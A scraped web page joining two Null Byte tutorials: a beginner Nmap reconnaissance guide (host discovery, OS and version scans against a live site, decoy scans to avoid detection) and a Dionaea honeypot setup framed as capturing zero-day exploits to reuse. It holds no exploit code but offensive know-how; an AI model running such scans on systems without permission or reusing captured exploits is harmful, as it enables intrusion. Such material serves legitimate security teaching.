Toolkit (SET) in BackTrackHack Like a Pro:The Ultimate Social Engineering HackHow To:Don't Record Police with Your Regular Camera App — Use the ACLU's to Make Sure It Gets Uploaded Right AwayListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersSocial Engineering, Part 1:Scoring a Free Cell PhoneListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)News:New York Police Release Data Showing Rise in Number of Stops on StreetsNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Social Engineering, Part 2:Hacking a Friend's Facebook PasswordWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:recognize Crowd Control - Part 1How To:Social Engineer Your Way Into an Amusement Park for FreeNews:40 Fed Agencies Man Command Center Outside ChicagoNews:Mind Your Manners!News:Google social web engineer Joseph Smarr talks about lessons from Google+How To:Recognize Crowd Control - Part 2Police:Protesters Attacked Police Van Saturday, Gave Cop ConcussionHow To:Score Free Game Product Keys with Social EngineeringHow To:The Official Google+ Insider's Guide IndexNews:Kindergartner handcuffed after throwing tantrum at schoolNews:Homeland Security is watching YOUNews:LA Cops Fire 90 Rounds at Unarmed Fleeing MotoristSocial Engineering:The BasicsNews:Police Admit To Drugging Occupy Wall Street Protesters; Suspend ProgramNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:***Where To Get *HENCH-Men* On Mission's***News:"This Guy Has My MacBook"—A Tale of Evil, Redemption & the Power of the AppNews:Tokyo Gore PoliceNews:Troops needed for crowd control..News:Top 13 Google Insiders to Follow on Google+Xbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:The Social Engineer's Guide to Buying an Expensive LaptopNews:Scrabble Squabble Scores 8,000 Sawbucks for Sonya Glover
Tactical Nmap for Beginner Network Reconnaissance « Null Byte :: WonderHowTo
When it comes to attacking devices on a network, you can't hit what you can't see. Nmap gives you the ability to explore any devices connected to a network, finding information like the operating system a device is running and which applications are listening on open ports. This information lets a hacker design an attack that perfectly suits the target environment.Network Reconnaissance for BeginnersAfter gaining access to a Wi-Fi, Ethernet, or remote network, the first step for most hackers is to conduct recon to explore the network and learn more about any available targets. You may be familiar with some devices that announce themselves on a network, like other computers advertising file sharing. While this is a useful way of discovering devices on the same network as you, most devices do not advertise their presence on the network in this obvious of a fashion.The solution to the problem of exploring a network is network scanning, made possible by programs likeNmapandarp-scan. We're only interested in the former here, which allows for highly detailed exploration and mapping of local and remote networks, though we can use Nmap to perform an ARP scan as you'll see later on. With Nmap, you can see who is on the network, what applications or operating system a target is running, and what the available attack surface is.Don't Miss:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowUsing Nmap for Local NetworksRunning an Nmap scan is often the best way to discover the size of the network and the number of devices that are connected to it. Running a "fast" Nmap scan (-F) on a network range can produce a list of all of the IP addresses belonging to active hosts on the network, plus some extra information.sudo nmap -F 192.168.0.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 22:55 PST Nmap scan report for 192.168.0.1 Host is up (0.048s latency). Not shown: 96 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 5000/tcp open upnp 8081/tcp filtered blackice-icecap MAC Address: AC:EC:80:00:EA:17 (Arris Group) Nmap scan report for 192.168.0.35 Host is up (0.065s latency). Not shown: 93 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http 443/tcp open https 515/tcp open printer 631/tcp open ipp 9100/tcp open jetdirect MAC Address: C4:8E:8F:38:61:93 (Hon Hai Precision Ind.) Nmap scan report for 192.168.0.232 Host is up (0.032s latency). All 100 scanned ports on 192.168.0.232 are closed MAC Address: 60:A3:7D:30:24:60 (Apple)The data provided, combined with some basic information about services a device is running, can be used by itself as a list of targets for other hacking tools, but the capabilities of Nmap go far beyond simple host discovery.The amount of info on a local network an Nmap scan can gather is impressive, including the MAC address and manufacturer of connected devices, the operating system a device is using, and the version of any services that are running on the device. Once you know how many devices are on the network and roughly what they are, the next step is to scan and examine devices of interest on the network.Another key function of Nmap is to allow for port scanning of either individual devices or ranges of IP addresses including many devices. This allows an attacker to learn the minute details of a device they have discovered on a network, including information about ports open and services running. Ports are gateways that another device can connect through, so finding a bunch of services running on open ports can be a huge benefit to a hacker, especially if one of them has a version that is out of date and vulnerable.Using Nmap for Remote NetworksIn addition to scanning local networks, Nmap can also show information about remote networks as well. In fact, you can run Nmap against a website you want to examine, and it will parse it and retrieve the IP address associated with that web domain.nmap -F wonderhowto.com Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-11 23:20 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.14s latency). Not shown: 95 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 139/tcp filtered netbios-ssn 443/tcp open https 445/tcp filtered microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 3.21 secondsAfter grabbing the IP address and taking note of the port numbers that are open, further Nmap scans can reveal the operating system (-O) being used to host a remote website.sudo nmap -O 104.193.19.59 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 23:00 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.036s latency). Not shown: 998 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https Device type: load balancer Running (JUST GUESSING): Citrix embedded (95%) Aggressive OS guesses: Citrix NetScaler load balancer (95%), Citrix NetScaler VPX load balancer (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 17 hops OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.69 secondsFinally, we can even learn about the versions of software running on the ports we find open. If we see one that is vulnerable to a known attack, this could make our job on the network much easier. Using the IP address we discovered earlier, we can run another scan with-sVthat reveals that httpd 2.0 is being used on the target machine.sudo nmap -sV 104.193.19.59 Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 23:02 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.053s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.27 secondsThese details combined — the IP address of a remote website or server, the operating system running on the device, and the version of any application running on open ports we discover — is everything a hacker needs to get started attacking devices on a network.What You'll NeedTo use Nmap, you'll need a system that supports it. Fortunately, Nmap is cross-platform and works onWindows,Linux, andmacOS, and comes preinstalled on many systems. If you don't have it, it'seasy to install.You'll also need a network to connect to and scan to try these techniques, but be aware that scanning is often seen as a prelude to an attack and may be met with increased scrutiny. What this means is that if you have a job that monitors suspicious behavior, scanning their entire network is a great way to gain attention.Don't Miss:Get Started Writing Your Own NSE Scripts for NmapStep 1: Configure Nmap to Scan a Single TargetTo run a basic scan, we can identify an IP address of interest to run the scan against. One of the most basic but informative scans is to run Nmap, specify a target IP address, and then type-Ato enable OS detection, version detection, script scanning, and traceroute.sudo nmap 104.193.19.59 -A Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 23:12 PST Nmap scan report for wonderhowto.com (104.193.19.59) Host is up (0.038s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: WonderHowTo |_http-title: Did not follow redirect to https://wonderhowto.com/ 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: WonderHowTo |_http-title: Did not follow redirect to https://www.wonderhowto.com/ | ssl-cert: Subject: commonName=wonderhowto.com | Subject Alternative Name: DNS:wonderhowto.com, DNS:*.driverless.id, DNS:*.gadgethacks.com, DNS:*.invisiverse.com, DNS:*.null-byte.com, DNS:*.reality.news, DNS:*.wonderhowto.com, DNS:driverless.id, DNS:gadgethacks.com, DNS:invisiverse.com, DNS:null-byte.com, DNS:reality.news | Not valid before: 2017-01-25T00:00:00 |_Not valid after: 2019-01-25T23:59:59 |_ssl-date: 2018-11-11T07:12:53+00:00; 0s from scanner time. Device type: load balancer Running (JUST GUESSING): Citrix embedded (90%) Aggressive OS guesses: Citrix NetScaler load balancer (90%), Citrix NetScaler VPX load balancer (88%) No exact OS matches for host (test conditions non-ideal). Network Distance: 17 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 995/tcp) HOP RTT ADDRESS 1 31.75 ms 192.168.0.1 2 26.02 ms 142.254.236.193 3 35.17 ms agg60.lsaicaev01h.socal.rr.com (24.30.168.25) 4 30.78 ms agg11.lsaicaev01r.socal.rr.com (72.129.18.192) 5 26.19 ms agg26.lsancarc01r.socal.rr.com (72.129.17.0) 6 34.58 ms bu-ether16.atlngamq46w-bcr00.tbone.rr.com (66.109.6.92) 7 30.20 ms ae2.lsancarc0yw-bpr01.tbone.rr.com (66.109.1.41) 8 35.04 ms ix-ae-24-0.tcore1.lvw-los-angeles.as6453.net (66.110.59.81) 9 35.01 ms if-ae-8-2.tcore1.sv1-santa-clara.as6453.net (66.110.59.9) 10 35.11 ms if-ae-0-2.tcore2.sv1-santa-clara.as6453.net (63.243.251.2) 11 38.80 ms if-ae-18-2.tcore1.sqn-san-jose.as6453.net (63.243.205.12) 12 34.39 ms if-ae-1-2.tcore2.sqn-san-jose.as6453.net (63.243.205.2) 13 34.05 ms 64.86.21.62 14 31.16 ms xe-0-0-3.cr6-lax2.ip4.gtt.net (89.149.180.253) 15 63.54 ms 72.37.158.50 16 ... 17 34.34 ms wonderhowto.com (104.193.19.59) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 38.60 secondsEven against a single target, a basic scan can yield a lot of information. Here, we simply ran the scan on the IP address for WonderHowTo.com. This can be run against a device on your local network, like a router, or a remote server, like the one hosting WonderHowTo.com.Step 2: Calculate the Subnet & Scan a Range to Discover DevicesIn order to identify other devices on a local network, it's useful to calculate the subnet range. This is the range of possible IP addresses given out to devices on a network, and knowing it allows you to scan through all the possible IP addresses a device on the network could have.A handy tool to do this for you isIPcalc. This tool will take your IP address (which is easy to find by typingifconfigorip ain a terminal window) and calculate the subnet range based on it. Doing so will give you a number like "192.168.0.0/24," which specifies a range of IP addresses. In the example below, the subnet is calculated as 127.0.0.0/24.ipcalc 127.0.0.1 Address: 127.0.0.1 01111111.00000000.00000000. 00000001 Netmark: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 => Network: 127.0.0.0/24 01111111.00000000.00000000. 00000000 HostMin: 127.0.0.1 01111111.00000000.00000000. 00000001 HostMax: 127.0.0.254 01111111.00000000.00000000. 11111110 Broadcast: 127.0.0.255 01111111.00000000.00000000. 11111111 Hosts/Net: 254 Class A, LoopbackIn order to run a scan including information about the services running on devices we find, we can open a terminal window and type the following command, adding in your network range where I use "172.16.42.0/24" as an example. The scan is a little slow, so you can also use an-Fflag instead of the-Ato do a faster scan of the most common ports.nmap 172.16.42.0/24 -A Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-11 23:26 PST Nmap scan report for 172.16.42.1 Host is up (0.0029s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 53/tcp open domain? Nmap scan report for 172.16.42.20 Host is up (0.0053s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open tcpwrapped Nmap scan report for 172.16.42.32 Host is up (0.0057s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open tcpwrapped Nmap scan report for 172.16.42.36 Host is up (0.011s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open tcpwrapped Nmap scan report for 172.16.42.49 Host is up (0.0063s latency). All 1000 scanned ports on 172.16.42.49 are closed Nmap scan report for 172.16.42.53 Host is up (0.0059s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 62078/tcp open iphone-sync? Nmap scan report for 172.16.42.57 Host is up (0.013s latency). All 1000 scanned ports on 172.16.42.57 are closed Nmap scan report for 172.16.42.63 Host is up (0.00020s latency). All 1000 scanned ports on 172.16.42.63 are closed Nmap scan report for 172.16.42.65 Host is up (0.0077s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 631/tcp open ipp CUPS 2.2 | http-methods: |_ Potentially risky methods: PUT |_http-server-header: CUPS/2.2 IPP/2.1 |_http-title: Home - CUPS 2.2.0 Nmap scan report for 172.16.42.119 Host is up (0.012s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 898/tcp filtered sun-manageconsole 1862/tcp filtered mysql-cm-agent 1971/tcp filtered netop-school 62078/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 256 IP addresses (10 hosts up) scanned in 219.68 secondsWe're basically running Nmap with no arguments except the-Aflag. We should expect to see an output like above, showing discovered devices and the services running on them.Another handy tool for network discovery is arp-scan, which can sometimes show devices that Nmap misses. We can use Nmap to conduct an ARP scan with the-PRrequest, which is quite fast and aggressive at bringing back online hosts.nmap -PR 192.168.0.0/24 Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 06:10 PST Nmap scan report for 192.168.0.1 Host is up (0.019s latency). Not shown: 994 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 443/tcp open https 5000/tcp open upnp 8081/tcp filtered blackice-icecap 8082/tcp filtered blackice-alertsStep 3: Create a Target List of Active HostsNow we can calculate all the possible IP addresses on the local network and discover them either with a-F(fast) scan, by running Nmap with no arguments but the-Aflag for a slower scan with more info, or with a-PRscan capable of quickly sweeping a local network for active hosts.Finally, if you want to create a TXT file of hosts you discovered, you can use the command seen below to build a list to avoid needing to scan the entire network each time we run a subsequent scan. For instance, to scan for devices with a port 80 open and save them to a list, we can use some Linux tools and the-oG"greppable output" flag to help us cut through the output Nmap provides.Don't Miss:How to Conduct Active Recon & DOS Attacks with NmapBy runningnmap -p 80 -oG - 192.168.0.0/24— with the network range substituted for yours — you can add| awk '/80\/open/ {print $2}' >> port80.txtto output the IP addresses belonging to discovered devices to a TXT file called "port80.txt."nmap -p 80 -oG - 192.168.0.1 | awk '/80\/open/ {print $2}' >> port80.txt cat port80.txtHere, theawkcommand is looking for lines containing the port number and the result "open," with the second string in each line (in this case, the IP address) saved by thecatcommand to a new file called port80.txtStep 4: Identify the Operating System on Discovered DevicesOne of the most helpful things to know about a device we discover on a network is the operating system it's running. Here, we can take the TXT target list we populated in the previous step and run an operating system scan, which requires root privileges. We can use the-Oflag to run an operating system scan, and the-iLflag to tell Nmap we want to read from a TXT file of target hosts.sudo nmap -O -iL port80.txt Password: Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 07:07 PST Nmap scan report for 192.168.0.1 Host is up (0.033s latency). Not shown: 994 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 443/tcp open https 5000/tcp open upnp 8081/tcp filtered blackice-icecap 8082/tcp filtered blackice-alerts No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=11/12%OT=80%CT=1%CU=33278%PV=Y%DS=1%DC=D%G=Y%M=407009% OS:TM=5BE99771%P=x86_64-apple-darwin17.3.0)SEQ(SP=CB%GCD=1%ISR=CD%TI=Z%CI=Z OS:%II=I%TS=7)SEQ(SP=CE%GCD=1%ISR=CE%TI=Z%CI=Z%TS=7)OPS(O1=M5B4ST11NW2%O2=M OS:5B4ST11NW2%O3=M5B4NNT11NW2%O4=M5B4ST11NW2%O5=M5B4ST11NW2%O6=M5B4ST11)WIN OS:(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)ECN(R=Y%DF=Y%T=40%W=390 OS:8%O=M5B4NNSNW2%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3( OS:R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW2%RD=0%Q=)T4(R=Y%DF=Y%T=4 OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0% OS:Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z% OS:A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G% OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 1 hop Nmap scan report for 192.168.0.2 Host is up (0.019s latency). Not shown: 997 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 8888/tcp open sun-answerbook Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.17 - 2.6.36 Network Distance: 1 hop Nmap scan report for 192.168.0.5 Host is up (0.064s latency). Not shown: 993 filtered ports PORT STATE SERVICE 80/tcp open http 8080/tcp open http-proxy 8085/tcp open unknown 8086/tcp open d-s-n 8087/tcp open simplifymedia 8088/tcp open radan-http 8089/tcp open unknown Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.8 Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 3 IP addresses (3 hosts up) scanned in 67.32 secondsThis tactic allows us to get as much information as possible about the operating system from whatever list of targets we want to run it against, whether internal network targets or a list of website IP addresses.The next step is discovering the versions of the applications running on open ports. This may show us a port that is running software that is out of date and has a known vulnerability. To run this scan, you can use the-sVflag against a target.sudo nmap -sV 192.168.0.2 -D 192.168.0.1,192.168.0.2,192.168.0.3 Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 07:29 PST Nmap scan report for 192.168.0.2 Host is up (0.030s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 53/tcp filtered domain 80/tcp open http? 8888/tcp open upnp MiniUPnP 1.6 (Linksys/Belkin WiFi range extender; SDK 4.1.2.0; UPnP 1.0; MTK 2.001) MAC Address: 83:23:98:43:23:3D (Dobus International) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.24 secondsHere, we've found some very specific information about our host, allowing us to potentially identify an attack against the software listening behind the port.Step 5: Advanced Scans & WorkaroundsThere may be some circumstances where you're having a difficult time scanning a network because the ping sent by Nmap are dropped by a firewall on the router. This can make it look like no devices are up, when you know they are. To avoid this, you can include the-Pnflag, which will drop the ping and sometimes allow you to connect directly to devices and get a response.If you're scanning on a network you don't want to be detected on, you can perform a decoy scan with the-Dflag to make it more difficult to detect who is conducting the scan on the network. An example would look like the command below, and requires root privileges.sudo nmap -sS 192.168.0.2 -D 192.168.0.1,192.168.0.2,192.168.0.3 Password: Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-12 07:26 PST Nmap scan report for 192.168.0.2 Host is up (0.036s latency). Not shown: 997 closed ports PORT STATE SERVICE 53/tcp filtered domain 80/tcp open http 8888/tcp open sun-answerbook MAC Address: 83:23:98:43:23:3D (Dobus International) Nmap done: 1 IP address (1 host up) scanned in 5.16 secondsIf you need more information about what's happening, you can strike a key while the scan is progressing to get some information about how it's proceeding or add a-vto increase the verbosity (how much information the script gives). Generally, you can keep adding morev's to the-vaccording to how frustrated or angry you get to learn more information about what's happening.Initiating ARP Ping Scan at 07:18 Scanning 192.168.0.1 [1 port] Completed ARP Ping Scan at 07:18, 0.12s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 07:18 Completed Parallel DNS resolution of 1 host. at 07:18, 0.09s elapsed DNS resolution of 1 IPs took 0.10s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 07:18 Scanning 192.168.0.1 [1 port] Discovered open port 80/tcp on 192.168.0.1 Completed SYN Stealth Scan at 07:18, 0.04s elapsed (1 total ports) Nmap scan report for 192.168.0.1 Host is up, received arp-response (0.11s latency). Scanned at 2018-11-12 07:18:34 PST for 0s PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 23:78:32:76:34:90 (Dobis Group) Read data files from: /usr/local/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds Raw packets sent: 2 (72B) | Rcvd: 2 (72B)Here, we can see the reason reported for the port 80 being up, allowing us to delve deeper into what parts of a scan a device may be replying to or ignoring. Be warned, you will see everything the scan is doing, and this can produce a lot of output on a complicated scan.Nmap Lights Up the DarkFinding your way around a network for the first time can be a harrowing experience for a beginner, whether you're learning about network exploitation for the first time or simply trying to find your router.Keep in mind, while networks scans are fine (and a great idea) to run on your own network to see what's connected, this kind of scan may not be welcome on your work network or another network you don't own. If your employer looks for suspicious behavior on their networks, extensively scanning can be easily interpreted as the threatening behavior if you have no good reason to be performing the scan.One of the most powerful things about Nmap is that it's scriptable with options like-oGand can be used to feed into other tools, so if you've ever imagined building a tool that needs to be aware of other devices on the same network, Nmap might be just what you're looking for.I hope you enjoyed this guide to using Nmap to map and explore devices on a network! If you have any questions about this tutorial on network scanning or you have a comment, feel free to reach me on [email protected]'t Miss:Hack Wi-Fi & Networks More Easily with Lazy ScriptFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody/Null ByteRelatedHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:Advanced Nmap for ReconnaissanceAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2How To:Easily Detect CVEs with Nmap ScriptsDissecting Nmap:Part 1How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Tie a chain sinnetHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:The Five Phases of HackingHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Do a Simple NMAP Scan on ArmatigeHow To:Discover & Attack Services on Web Apps or Networks with SpartaNews:Airbus Previews Military Sandbox App for HoloLensHow To:Advanced Penetration Testing - Part 1 (Introduction)Hack Like a Pro:The Hacker MethodologyHow To:Use Magic Tree to Organize Your ProjectsZanti:NmapHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP Poisoning
Hack Like a Pro: Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration) « Null Byte :: WonderHowTo
Welcome back, my rookie hackers!The Golden Fleece of hackers is to develop a zero-day exploit, an exploit that has not been seen by antivirus (AV) software or and intrusion detection system (IDS). A zero-day exploit is capable of skating right past these defenses as they do not contain a signature or another way of detecting them.Developing a zero-day can be tedious and time-consuming and is not for the novice. It usually involves finding a buffer that can be overflowed, then writing the code that overflows the buffer, and taking control of the execution so that your malicious software is run. Not a simple task.An alternative, of course, is to capture a zero-day exploit. Criminal hackers and national governments are always developing new zero-day exploits in order steal credit card numbers, confidential information, or national secrets. If we can convince those entities that our system is both importantandvulnerable, they will likely attack it as well. When they do, we may be able to capture their exploit and reuse it. Some of these exploits are worth millions of dollars.Inthe first partofthis series, we downloaded and set up the Dionaea honeypot. What makes Dionaea different than other honeypots is its ability to capture exploits.We had set up the honeypot in the last guide, but we had yet to configure it. In this tutorial, we will configure Dionaea to prepare it for capturing exploits. I began this seres setting up Dionaea on an Ubuntu 14.04 desktop system, so we will continue to use Dionaea on Ubuntu—but Dionaea will run on many Linux distributions.Step 1: Open the Dionaea Configuration FileThe first step is to open the Dionaea configuration file. First navigate to the/etc/dionaeadirectory.ubuntu > cd /etc/dionaeaWhen you do a long listing on that directory, you can see thedionaea.conffile. Let's open that file with a text editor. On Ubuntu, we have several choices. In this case, I used Leafpad, but gedit, Vim, or any other text editor will work.ubuntu > leafpad dionaea.confStep 2: Configure LoggingIn its default configuration, Dionaea will create shiploads of logs in a production environment. In some cases, you will see multiple gigabytes per day of log files. To prevent that, we need to configure logging to only log "error" priorities and above level. (For more information on Linux logging, seemy Linux Basics articleon the topic.)To do so, we need to navigate down to the logging section of the configuration file. There you will see a section that looks like this:Note the two areas I have circled. Change both of them from "warning,error" to just "error".Step 3: Interface and IP SectionNext, navigate down to thelistenandinterfacesection of the configuration file. We want the interface to be set to "manual" and the IP addresses set to any. This will allow Dionaea to capture on the interface of your choice (eth0) no matter what IP address is assigned to it.If you want Dionaea to only listen on a single IP address, you can place that IP address in the line below, replacing the "::" part.addrs = {eth0 = "::"}As you know, "::" is IPv6 shorthand for any IP address.Step 4: ModulesNext, we need to tell Dionaea what modules we want it to run.Leave the default setting here, but note that we have "virustotal" commented out. If the comments are removed, you can configure Dionaea to send any captured malware to VirusTotal. Let's keep it commented out.Also note that we will be using one of our favorite tools,p0f, for the operating system fingerprinting. Lastly, we have "logsql" uncommented, enabling Dionaea to create and use an SQLite database. This will enhance our ability to manage the activity from our sensor by placing the data into a SQLite database.Step 5: ServicesJust below the modules, we have a section detailing the services we want to run. Note below that Dionaea by default is set up to run http, https, tftp, ftp, mirror, smb, epmap, sip, mssql, and mysql.I recommend that you disable http and https as they are not likely to fool many attackers and may, in fact, identify it as a honeypot. Leave the others as they represent vulnerable services that may be attacked.Step 6: Start Dionaea to TestFinally, to test our new configuration we need to run Dionaea. We can do this by typing:ubuntu> dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/run/dionaea.pidNow that Dionaea is running successfully, we can go to the next step, capturing and analyzing malware with Dionaea—so keep coming back, my rookie hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1News:The DEA Spent $575,000 of Your Tax Dollars on Zero-Day ExploitsHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkNews:How Zero-Day Exploits Are Bought & SoldHack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemHack Like a Pro:How to Build Your Own Exploits, Part 1 (Introduction to Buffer Overflows)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitNews:How Governments Around the World Are Undermining Citizens' Privacy & Security to Stockpile CyberweaponsHack Like a Pro:How to Build Your Own Exploits, Part 2 (Writing a Simple Buffer Overflow in C)How To:Draw Zero No Louise of Zero No TsukaimaHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)News:Chrysaor Malware Found on Android Devices—Here's What You Should Know & How to Protect YourselfHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerRed Dead Redemption Review:5 out of 5News:Day 2 Of Our New WorldNews:Wild West ThemeHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterEkokook:The Kitchen of the FutureMortal Kombat:Legacy: Ep. 8: Scorpion and Sub Zero (Part 2)Mortal Kombat:Legacy: Ep. 7: Scorpion and Sub Zero (Part 1)News:Wild Mustang Problems?How To:Use Internet Explorer? Install the Latest Version to Avoid the Newest Zero-Day ExploitNews:Slow Motion Footage of Surfers from Jaws Beach, HawaiiNews:Mystery Game ContentsNews:Countdown to ZeroHow To:Survive Deadly Bites and Stings from Wild Animals
How to Install & Use the Ultra-Secure Operating System OpenBSD in VirtualBox « Null Byte :: WonderHowTo
